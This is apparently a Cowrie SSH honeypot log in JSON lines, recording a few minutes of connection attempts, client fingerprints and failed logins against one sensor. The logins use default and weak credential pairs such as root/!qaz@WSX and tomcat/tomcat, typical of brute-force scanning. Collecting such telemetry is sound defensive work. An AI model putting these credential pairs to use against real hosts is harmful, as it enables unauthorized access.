{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33676,"dst_ip":"159.203.135.109","dst_port":22,"session":"64eb8994ef67","protocol":"ssh","message":"New connection: 192.109.200.78:33676 (159.203.135.109:22) [session: 64eb8994ef67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:38.060247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:38.064274Z","src_ip":"192.109.200.78","session":"64eb8994ef67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:38.145774Z","src_ip":"192.109.200.78","session":"64eb8994ef67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nextcloud","password":"nextcloud","message":"login attempt [nextcloud/nextcloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:38.399137Z","src_ip":"192.109.200.78","session":"64eb8994ef67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:39.485502Z","src_ip":"192.109.200.78","session":"64eb8994ef67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:41.563902Z","src_ip":"223.247.153.211","session":"bcaadb5ccbfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33678,"dst_ip":"159.203.135.109","dst_port":22,"session":"5adb977ca828","protocol":"ssh","message":"New connection: 192.109.200.78:33678 (159.203.135.109:22) [session: 5adb977ca828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:42.068375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:42.072986Z","src_ip":"192.109.200.78","session":"5adb977ca828","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:42.154581Z","src_ip":"192.109.200.78","session":"5adb977ca828","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:42.406505Z","src_ip":"192.109.200.78","session":"5adb977ca828","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:43.493006Z","src_ip":"192.109.200.78","session":"5adb977ca828","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53220,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d224aa6a68a","protocol":"ssh","message":"New connection: 159.203.92.129:53220 (159.203.135.109:22) [session: 4d224aa6a68a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:46.097497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:46.102306Z","src_ip":"159.203.92.129","session":"4d224aa6a68a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:46.106830Z","src_ip":"159.203.92.129","session":"4d224aa6a68a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ROOT","password":"123456","message":"login attempt [ROOT/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:46.121243Z","src_ip":"159.203.92.129","session":"4d224aa6a68a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33686,"dst_ip":"159.203.135.109","dst_port":22,"session":"40961de2512a","protocol":"ssh","message":"New connection: 192.109.200.78:33686 (159.203.135.109:22) [session: 40961de2512a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:47.117833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:47.122582Z","src_ip":"192.109.200.78","session":"40961de2512a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:47.128377Z","src_ip":"159.203.92.129","session":"4d224aa6a68a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:47.205042Z","src_ip":"192.109.200.78","session":"40961de2512a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:47.454839Z","src_ip":"192.109.200.78","session":"40961de2512a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:48.540540Z","src_ip":"192.109.200.78","session":"40961de2512a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53542,"dst_ip":"159.203.135.109","dst_port":22,"session":"17463a418601","protocol":"ssh","message":"New connection: 192.109.200.78:53542 (159.203.135.109:22) [session: 17463a418601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:50.072585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:50.077374Z","src_ip":"192.109.200.78","session":"17463a418601","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:50.159332Z","src_ip":"192.109.200.78","session":"17463a418601","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:50.409128Z","src_ip":"192.109.200.78","session":"17463a418601","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:51.589108Z","src_ip":"192.109.200.78","session":"17463a418601","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53544,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d7ce23dfa09","protocol":"ssh","message":"New connection: 192.109.200.78:53544 (159.203.135.109:22) [session: 8d7ce23dfa09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:54.129172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:54.233697Z","src_ip":"192.109.200.78","session":"8d7ce23dfa09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:54.237990Z","src_ip":"192.109.200.78","session":"8d7ce23dfa09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:54.606691Z","src_ip":"192.109.200.78","session":"8d7ce23dfa09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:55.715372Z","src_ip":"192.109.200.78","session":"8d7ce23dfa09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39532,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7bc821b346c","protocol":"ssh","message":"New connection: 192.109.200.78:39532 (159.203.135.109:22) [session: e7bc821b346c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:58.330409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:58.335472Z","src_ip":"192.109.200.78","session":"e7bc821b346c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:58.422111Z","src_ip":"192.109.200.78","session":"e7bc821b346c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"123456","message":"login attempt [adminuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:58.673956Z","src_ip":"192.109.200.78","session":"e7bc821b346c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:59.761677Z","src_ip":"192.109.200.78","session":"e7bc821b346c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":42636,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b5c1557eda6","protocol":"ssh","message":"New connection: 80.94.92.186:42636 (159.203.135.109:22) [session: 0b5c1557eda6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:00.381718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:00.476241Z","src_ip":"80.94.92.186","session":"0b5c1557eda6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:00.580117Z","src_ip":"80.94.92.186","session":"0b5c1557eda6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":23102,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5c700fd1c4d","protocol":"ssh","message":"New connection: 213.209.159.159:23102 (10.17.0.5:22) [session: f5c700fd1c4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:01.169368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:40:01.174388Z","src_ip":"213.209.159.159","session":"f5c700fd1c4d","protocol":"ssh"}
